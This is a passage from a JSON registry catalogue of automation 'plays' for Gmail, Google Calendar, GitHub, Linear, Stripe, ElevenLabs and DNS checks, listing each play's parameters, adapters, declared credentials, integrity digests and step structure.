Gmail query format)","example":"2026/01/01"},{"name":"end_date","type":"string","required":true,"description":"Exclusive end date; use YYYY/MM/DD or YYYY-MM-DD (normalized to Gmail query format)","example":"2026/02/01"},{"name":"providers","type":"string","required":false,"default":"all","description":"Comma-separated subset of uber, lyft, and waymo, or 'all'"}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2e0114f3e67e477cd9064232f208d193aa3238b2e758cfef2a7ba62880a676d2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["GMAIL_TOKEN"],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/check-calendar-meetings@0.1.6","reference":"modiqo/check-calendar-meetings@0.1.6","uri":"https://play.modiqo.ai/modiqo/check-calendar-meetings@0.1.6","manifest_uri":"https://play.modiqo.ai/modiqo/check-calendar-meetings@0.1.6","name":"check-calendar-meetings","title":"check-calendar-meetings","description":"Lists Google Calendar events between two timestamps with timing, attendees, location, organizer, and meeting links.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","workplace-automation","job-calendar-review","tool-google-calendar","effect-read-only"],"primary_domain":"domain-workplace","author":"Code Bot","version":"0.1.6","published_at":"2026-08-18T08:54:13.545348+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4427,"license":null,"stats":{"downloads":115,"installs":0},"steps":{"count":5,"names":["events","auth_calendar","normalize_end","normalize_start","validate_inputs"]},"parameters":[{"name":"start_date","type":"string","required":true,"description":"Inclusive ISO 8601 date or timestamp; YYYY-MM-DD is normalized to local midnight","example":"2026-08-14"},{"name":"end_date","type":"string","required":true,"description":"Exclusive ISO 8601 date or timestamp; YYYY-MM-DD is normalized to local midnight","example":"2026-08-15"},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Google Calendar ID"},{"name":"max_results","type":"integer","required":false,"default":100,"description":"Maximum events requested from Google Calendar (1-2500)"}],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:078cb32e47598883e0c1d56f79180dc07208b0e348e163b7820d2ad236910348","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":"Calendar API","host":"www.googleapis.com/calendar/v3","kind":"rest","tools":37,"fingerprint":"mcp_39UEoxu3DX9zayEgtzXN8HtJxnxy","source":"modiqo/calendar","version":"0.0.4","protocol":"google_discovery","credentials":["CALENDAR_TOKEN"]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["CALENDAR_TOKEN"],"mcp":{"servers":1,"tools":37},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/my-open-prs-review-status@0.1.1","reference":"modiqo/my-open-prs-review-status@0.1.1","uri":"https://play.modiqo.ai/modiqo/my-open-prs-review-status@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/my-open-prs-review-status@0.1.1","name":"my-open-prs-review-status","title":"my-open-prs-review-status","description":"Lists open pull requests by one GitHub user with review status and reviewer comment counts.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-review-status","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Code Bot","version":"0.1.1","published_at":"2026-08-17T23:58:00.614165+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3228,"license":null,"stats":{"downloads":75,"installs":0},"steps":{"count":8,"names":["reviews","auth_github","current_user","search_query","selected_prs","resolved_user","inline_comments","thread_comments"]},"parameters":[{"name":"owner","type":"string","required":false,"default":"modiqo","description":"Repository owner or organization"},{"name":"repo","type":"string","required":false,"default":"rote","description":"Repository name"},{"name":"user","type":"string","required":false,"default":"","description":"Pull request author; empty uses the authenticated GitHub user"},{"name":"limit","type":"integer","required":false,"default":"25","description":"Maximum matching pull requests to inspect (1-100)"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cd4c3bce93e947503c37e50d477fedee4e5e39ecbb8983096f0dd09a684c94b2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":5,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":6,"width":3,"fan_out":6,"for_each_steps":3,"complexity":16,"apis":[{"adapter":"github","steps":6,"methods":["issues/list-comments","pulls/list-review-comments","pulls/list-reviews","search/issues-and-pull-requests","users/get-authenticated"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/recent-github-issues@0.0.3","reference":"modiqo/recent-github-issues@0.0.3","uri":"https://play.modiqo.ai/modiqo/recent-github-issues@0.0.3","manifest_uri":"https://play.modiqo.ai/modiqo/recent-github-issues@0.0.3","name":"recent-github-issues","title":"recent-github-issues","description":"Fetches the most recently created issues for a GitHub repository, excluding pull requests.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-issue-triage","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Debasish Ghosh","version":"0.0.3","published_at":"2026-08-17T23:58:11.01601+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2690,"license":null,"stats":{"downloads":62,"installs":0},"steps":{"count":2,"names":["auth_github","fetch_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"limit","type":"integer","required":false,"default":"5","description":"Maximum number of recent issues to return"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a447c42c63ce7decb92abe14c6df0a56f1e3227520dd231cc1ac2ecb39e32b39","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":68976,"context_tokens":7055,"exploration_ms":1603,"saved_per_run":76031},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/github-recent-issues-install-uri-smoke@0.0.3","reference":"modiqo/github-recent-issues-install-uri-smoke@0.0.3","uri":"https://play.modiqo.ai/modiqo/github-recent-issues-install-uri-smoke@0.0.3","manifest_uri":"https://play.modiqo.ai/modiqo/github-recent-issues-install-uri-smoke@0.0.3","name":"github-recent-issues-install-uri-smoke","title":"github-recent-issues-install-uri-smoke","description":"Lists recent issues for a GitHub repository and verifies the published install command.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","job-install-verification","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Debasish Ghosh","version":"0.0.3","published_at":"2026-08-17T23:57:43.991034+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2434,"license":null,"stats":{"downloads":57,"installs":0},"steps":{"count":2,"names":["auth_github","fetch_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"limit","type":"integer","required":false,"default":"3","description":"Maximum number of recent issues to return"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:48cd49a1b1a0f620a1bc2d9b04b94914a0dcfcbac24286a82bb2225066a1ebf8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/github-authored-issues-report@0.1.2","reference":"modiqo/github-authored-issues-report@0.1.2","uri":"https://play.modiqo.ai/modiqo/github-authored-issues-report@0.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/github-authored-issues-report@0.1.2","name":"github-authored-issues-report","title":"github-authored-issues-report","description":"Lists up to 1,000 issues authored by a GitHub user and verifies completeness against GitHub's search total.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-issue-reporting","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Code Bot","version":"0.1.2","published_at":"2026-08-17T23:57:41.555106+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3633,"license":null,"stats":{"downloads":50,"installs":0},"steps":{"count":6,"names":["pages","issues","auth_github","current_user","search_query","resolved_author"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"author","type":"string","required":false,"default":"@me","description":"GitHub login; @me resolves through the authenticated adapter identity"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6a17c185863c23986f15c0f0e7ea143d28748961747491eac9ec414d6e9b5868","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":5,"width":2,"fan_out":4,"for_each_steps":1,"complexity":12,"apis":[{"adapter":"github","steps":3,"methods":["search/issues-and-pull-requests","users/get-authenticated"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/list-git-worktrees-with-pr-status@0.0.3","reference":"modiqo/list-git-worktrees-with-pr-status@0.0.3","uri":"https://play.modiqo.ai/modiqo/list-git-worktrees-with-pr-status@0.0.3","manifest_uri":"https://play.modiqo.ai/modiqo/list-git-worktrees-with-pr-status@0.0.3","name":"list-git-worktrees-with-pr-status","title":"list-git-worktrees-with-pr-status","description":"List a local repo's git worktrees with source size (excluding target/node_modules/.git build & dependency dirs so it fits the per-step time budget), dirty/clean status, and the linked GitHub PR for each (branch match for attached worktrees, head-sha match for detached), scanning the most-recently-updated PRs.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-worktree-review","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Debasish Ghosh","version":"0.0.3","published_at":"2026-08-17T23:57:50.682807+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5078,"license":null,"stats":{"downloads":47,"installs":0},"steps":{"count":3,"names":["prs","worktrees","auth_github"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the local git checkout whose worktrees should be inventoried"},{"name":"owner","type":"string","required":true,"description":"GitHub repository owner used for PR matching"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name used for PR matching"},{"name":"per_page","type":"string","required":false,"default":"100","description":"How many most-recently-updated PRs to scan when matching worktrees to PRs (GitHub max 100)"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:009e219dcdc965498069ebb42386587082668ef648cb137be76d6c5144a9e994","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":1,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"github","steps":2,"methods":["pulls/list"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"git","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/list-linear-issues@1.0.2","reference":"modiqo/list-linear-issues@1.0.2","uri":"https://play.modiqo.ai/modiqo/list-linear-issues@1.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/list-linear-issues@1.0.2","name":"list-linear-issues","title":"list-linear-issues","description":"Lists Linear issues with an optional workflow-state shortcut or a raw GraphQL IssueFilter JSON object.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-issue-review","tool-linear","effect-read-only"],"primary_domain":"domain-engineering","author":"Code Bot","version":"1.0.2","published_at":"2026-08-17T23:57:52.529472+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3435,"license":null,"stats":{"downloads":46,"installs":0},"steps":{"count":4,"names":["issues_all","auth_linear","issues_by_state","issues_raw_filter"]},"parameters":[{"name":"state_type","type":"string","required":false,"default":"any","description":"Workflow state type shortcut; ignored when filter is supplied","values":["any","triage","backlog","unstarted","started","completed","canceled"]},{"name":"filter","type":"string","required":false,"default":"none","description":"Raw Linear IssueFilter JSON object, or 'none'; replaces state_type when supplied"},{"name":"first","type":"integer","required":false,"default":"50","description":"Maximum issues to return (1-250)"},{"name":"order","type":"string","required":false,"default":"updatedAt","description":"Linear issue ordering field","values":["createdAt","updatedAt"]}],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"required"},{"id":"linear","name":"linear","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ee2f24e0ace9988d5d19e9fb93c1f3a847895e9ceff05363ab76aad04618325a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":3,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[{"adapter":"linear","steps":4,"methods":["query/issues"],"display_name":"linear","host":"api.linear.app/graphql","kind":"graphql","tools":496,"fingerprint":"mcp_STdJUB7Bsyj9kn4DvL5F5KZdoDk","source":"modiqo/linear","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":496},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/fetch-stripe-payables-receivables@0.1.2","reference":"modiqo/fetch-stripe-payables-receivables@0.1.2","uri":"https://play.modiqo.ai/modiqo/fetch-stripe-payables-receivables@0.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/fetch-stripe-payables-receivables@0.1.2","name":"fetch-stripe-payables-receivables","title":"fetch-stripe-payables-receivables","description":"Fetches Stripe charges and payouts for a calendar-date range with transaction details and currency totals.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","job-financial-reconciliation","tool-stripe","effect-read-only"],"primary_domain":"domain-workplace","author":"Code Bot","version":"0.1.2","published_at":"2026-08-17T23:57:37.453583+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3748,"license":null,"stats":{"downloads":41,"installs":0},"steps":{"count":5,"names":["charges","payouts","auth_stripe","end_timestamp","start_timestamp"]},"parameters":[{"name":"start_date","type":"string","required":true,"description":"Inclusive start date in YYYY-MM-DD format"},{"name":"end_date","type":"string","required":true,"description":"Inclusive end date in YYYY-MM-DD format"},{"name":"type","type":"string","required":false,"default":"both","description":"Transaction direction to fetch","values":["payables","receivables","both"]},{"name":"limit","type":"string","required":false,"default":"100","description":"Maximum items per type (1-100)"}],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"required"},{"id":"stripe","name":"stripe","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:530fcd246c8ad5c16900cffc3fbc95317cb3e8e508cefa85894f034cf35fd611","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":2,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[{"adapter":"stripe","steps":3,"methods":["GetCharges","GetPayouts"],"display_name":"stripe","host":"api.stripe.com","kind":"rest","tools":587,"fingerprint":"mcp_3xdXFokmj2rbUdP4YgBmsgpGJe3x","source":"modiqo/stripe","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":587},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/summarize-stacked-github-prs@0.2.1","reference":"modiqo/summarize-stacked-github-prs@0.2.1","uri":"https://play.modiqo.ai/modiqo/summarize-stacked-github-prs@0.2.1","manifest_uri":"https://play.modiqo.ai/modiqo/summarize-stacked-github-prs@0.2.1","name":"summarize-stacked-github-prs","title":"summarize-stacked-github-prs","description":"Builds the complete GitHub pull-request stack rooted at a bottom PR, explains every PR from the user's point of view, and renders the branch relationships as Mermaid.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-pull-request-review","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Debasish Ghosh","version":"0.2.1","published_at":"2026-08-17T23:58:25.543514+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":6635,"license":null,"stats":{"downloads":40,"installs":0},"steps":{"count":3,"names":["bottom","page_numbers","candidate_pages"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8949ba420550fbe54ae3c0a55ee1fff01143bd1bfc64350ca908841f62ca498b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":2,"fan_out":10,"for_each_steps":1,"complexity":6,"apis":[{"adapter":"github","steps":2,"methods":["pulls/get","pulls/list"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/elevenlabs-tts-memo@1.0.2","reference":"modiqo/elevenlabs-tts-memo@1.0.2","uri":"https://play.modiqo.ai/modiqo/elevenlabs-tts-memo@1.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/elevenlabs-tts-memo@1.0.2","name":"elevenlabs-tts-memo","title":"elevenlabs-tts-memo","description":"Synthesizes text with an ElevenLabs voice and saves the returned audio to a local file.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","workplace-automation","job-voice-memo","tool-elevenlabs","effect-write"],"primary_domain":"domain-workplace","author":"Code Bot","version":"1.0.2","published_at":"2026-08-17T23:57:31.472106+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2764,"license":null,"stats":{"downloads":34,"installs":0},"steps":{"count":3,"names":["save_audio","synthesize","auth_elevenlabs"]},"parameters":[{"name":"text","type":"string","required":true,"description":"Text to speak"},{"name":"voice_id","type":"string","required":true,"description":"ElevenLabs voice ID"},{"name":"output_path","type":"string","required":false,"default":"/tmp/voice-memo.mp3","description":"Absolute local path for the generated audio file"},{"name":"model_id","type":"string","required":false,"default":"eleven_multilingual_v2","description":"ElevenLabs model ID"},{"name":"output_format","type":"string","required":false,"default":"mp3_44100_128","description":"ElevenLabs output format"}],"execution":{"adapters":[{"id":"modiqo/elevenlabs","name":"elevenlabs","version":null,"credential_status":"required"},{"id":"elevenlabs","name":"elevenlabs","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c47d37c17064d6330aa2bf0c00995b6ed0ec65470097db4904f211726a208a50","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":1,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"elevenlabs","steps":2,"methods":["text_to_speech_full"],"display_name":"elevenlabs","host":"api.elevenlabs.io","kind":"rest","tools":250,"fingerprint":"mcp_27PPXwTbY4gWKeu7TVB9TEgBXLdt","source":"modiqo/elevenlabs","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":250},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/play-dag@0.2.1","reference":"modiqo/play-dag@0.2.1","uri":"https://play.modiqo.ai/modiqo/play-dag@0.2.1","manifest_uri":"https://play.modiqo.ai/modiqo/play-dag@0.2.1","name":"play-dag","title":"play-dag","description":"Parses the rote frontmatter of any play and draws its step DAG in three formats at once — an ASCII layer view for the terminal, Mermaid for anything that renders markdown, and a canonical JSON graph for machines. All three are rendered from one canonical semantic model under a representation-parity contract — ordering edges, value edges with exact jq paths, and for_each fan-out (selector, source, max_concurrency) appear in every complete view, and the only lossy view (the one-line summary) declares itself lossy. Accepts a local path, an owner/name reference, or a canonical https play URI; for URIs it verifies the signed-in identity, checks access, and pulls the play before parsing. Distinguishes ordering edges (depends_on) from value edges (@step refs with exact jq paths) and computes the parallel execution layers the runner will use. Its own four-step DAG demonstrates every edge kind it visualizes.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","agent-operations","job-play-inspection","tool-registry","effect-write"],"primary_domain":"domain-agent-operations","author":"modiqo","version":"0.2.1","published_at":"2026-08-17T23:58:04.509087+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":6864,"license":null,"stats":{"downloads":33,"installs":0},"steps":{"count":4,"names":["identity","parse_graph","acquire_play","classify_input"]},"parameters":[{"name":"play","type":"string","required":true,"description":"Path to a play main.ts, a local owner/name reference, or a canonical https://play.modiqo.ai/owner/name URI (pulled after identity and access checks)","example":"modiqo/hello"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:67c7fb1b03d9681215709c2fb00d3ab3e8391a3cf8b35aacaa410af55f6dde6a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/dns-propagation-check@1.1.1","reference":"modiqo/dns-propagation-check@1.1.1","uri":"https://play.modiqo.ai/modiqo/dns-propagation-check@1.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/dns-propagation-check@1.1.1","name":"dns-propagation-check","title":"dns-propagation-check","description":"Compares authoritative DNS answers with Cloudflare, Google, and Quad9 in parallel, then explains whether a record is consistent, still propagating, misconfigured, divergent, or indeterminate. Authoritative discovery and each public resolver are independent DAG steps, so probes run concurrently, degrade to labeled unknowns instead of failing the play, and the verdict join shows exactly which source said what.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-dns-diagnosis","tool-dns","effect-read-only"],"primary_domain":"domain-web-operations","author":"chetan","version":"1.1.1","published_at":"2026-08-17T23:57:28.559324+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":6931,"license":null,"stats":{"downloads":30,"installs":0},"steps":{"count":6,"names":["query_quad9","query_google","validate_input","compute_verdict","query_cloudflare","discover_authoritative"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"example.com","description":"DNS name to check, such as example.com","example":"example.com"},{"name":"record_type","type":"string","required":false,"default":"A","description":"Record type to check; A, AAAA, CNAME, MX, TXT, NS, or 